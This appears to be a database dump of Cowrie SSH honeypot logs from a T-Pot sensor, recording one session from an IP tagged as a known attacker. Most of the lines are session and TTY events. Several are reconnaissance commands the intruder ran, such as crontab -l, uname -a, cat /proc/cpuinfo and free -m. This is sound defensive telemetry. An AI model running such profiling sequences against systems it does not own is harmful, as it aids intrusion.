36774	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:06.474249+03	2021-09-20 15:30:02.72287+03	{"_id": "6wYjA3wBvYTbRNuEcWRw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:06.474249Z", "@timestamp": "2021-09-20T12:17:06.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36775	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:06.080974+03	2021-09-20 15:30:02.72487+03	{"_id": "7QYjA3wBvYTbRNuEcWRx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.71.14.9", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5544166564941406, "duplicate": true, "timestamp": "2021-09-20T12:17:06.080974Z", "@timestamp": "2021-09-20T12:17:06.080Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36776	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:07.412958+03	2021-09-20 15:30:02.725871+03	{"_id": "7gYjA3wBvYTbRNuEdWRZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:07.412958Z", "@timestamp": "2021-09-20T12:17:07.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36777	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:08.363188+03	2021-09-20 15:30:02.727873+03	{"_id": "8QYjA3wBvYTbRNuEeWRB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:08.363188Z", "@timestamp": "2021-09-20T12:17:08.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36778	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:09.301605+03	2021-09-20 15:30:02.728871+03	{"_id": "9gYjA3wBvYTbRNuEfWQr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:09.301605Z", "@timestamp": "2021-09-20T12:17:09.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36779	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:09.860142+03	2021-09-20 15:30:02.73087+03	{"_id": "_wYjA3wBvYTbRNuEgWQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.71.14.9", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5585815906524658, "duplicate": true, "timestamp": "2021-09-20T12:17:09.860142Z", "@timestamp": "2021-09-20T12:17:09.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36780	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:10.278662+03	2021-09-20 15:30:02.73187+03	{"_id": "AQYjA3wBvYTbRNuEgWUU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:10.278662Z", "@timestamp": "2021-09-20T12:17:10.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36781	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:11.781014+03	2021-09-20 15:30:02.733868+03	{"_id": "AgYjA3wBvYTbRNuEhGX8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.71.14.9", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5533559322357178, "duplicate": true, "timestamp": "2021-09-20T12:17:11.781014Z", "@timestamp": "2021-09-20T12:17:11.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36782	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:12.200063+03	2021-09-20 15:30:02.734871+03	{"_id": "BwYjA3wBvYTbRNuEiGXl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:12.200063Z", "@timestamp": "2021-09-20T12:17:12.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36783	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:03.573893+03	2021-09-20 15:30:02.73587+03	{"_id": "3wYjA3wBvYTbRNuEZWS1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:03.573893Z", "@timestamp": "2021-09-20T12:17:03.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36784	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:04.548886+03	2021-09-20 15:30:02.737869+03	{"_id": "4wYjA3wBvYTbRNuEaWSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:04.548886Z", "@timestamp": "2021-09-20T12:17:04.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36785	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:05.102606+03	2021-09-20 15:30:02.738867+03	{"_id": "6QYjA3wBvYTbRNuEbWSI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.71.14.9", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5543482303619385, "duplicate": true, "timestamp": "2021-09-20T12:17:05.102606Z", "@timestamp": "2021-09-20T12:17:05.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36786	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:06.473708+03	2021-09-20 15:30:02.740868+03	{"_id": "7AYjA3wBvYTbRNuEcWRw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:06.473708Z", "@timestamp": "2021-09-20T12:17:06.473Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36787	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:07.028308+03	2021-09-20 15:30:02.74187+03	{"_id": "8AYjA3wBvYTbRNuEdWRZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.71.14.9", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5547151565551758, "duplicate": true, "timestamp": "2021-09-20T12:17:07.028308Z", "@timestamp": "2021-09-20T12:17:07.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36788	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:08.363733+03	2021-09-20 15:30:02.74387+03	{"_id": "8gYjA3wBvYTbRNuEeWRB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:08.363733Z", "@timestamp": "2021-09-20T12:17:08.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36789	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:10.278123+03	2021-09-20 15:30:02.744868+03	{"_id": "AAYjA3wBvYTbRNuEgWUU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:10.278123Z", "@timestamp": "2021-09-20T12:17:10.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36790	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:11.227743+03	2021-09-20 15:30:02.745868+03	{"_id": "AwYjA3wBvYTbRNuEhGX8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:11.227743Z", "@timestamp": "2021-09-20T12:17:11.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36791	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:12.199518+03	2021-09-20 15:30:02.746868+03	{"_id": "CQYjA3wBvYTbRNuEiGXl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:12.199518Z", "@timestamp": "2021-09-20T12:17:12.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36792	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:03.57334+03	2021-09-20 15:30:02.747869+03	{"_id": "4QYjA3wBvYTbRNuEZWS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:03.573340Z", "@timestamp": "2021-09-20T12:17:03.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36793	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:04.127764+03	2021-09-20 15:30:02.748869+03	{"_id": "5QYjA3wBvYTbRNuEaWSf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.71.14.9", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.554509162902832, "duplicate": true, "timestamp": "2021-09-20T12:17:04.127764Z", "@timestamp": "2021-09-20T12:17:04.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36794	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:05.527671+03	2021-09-20 15:30:02.749869+03	{"_id": "5gYjA3wBvYTbRNuEbWSH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:05.527671Z", "@timestamp": "2021-09-20T12:17:05.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36795	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:07.413498+03	2021-09-20 15:30:02.751868+03	{"_id": "7wYjA3wBvYTbRNuEdWRZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:07.413498Z", "@timestamp": "2021-09-20T12:17:07.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36796	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:13.116893+03	2021-09-20 15:30:02.752867+03	{"_id": "CgYjA3wBvYTbRNuEjGXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:13.116893Z", "@timestamp": "2021-09-20T12:17:13.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
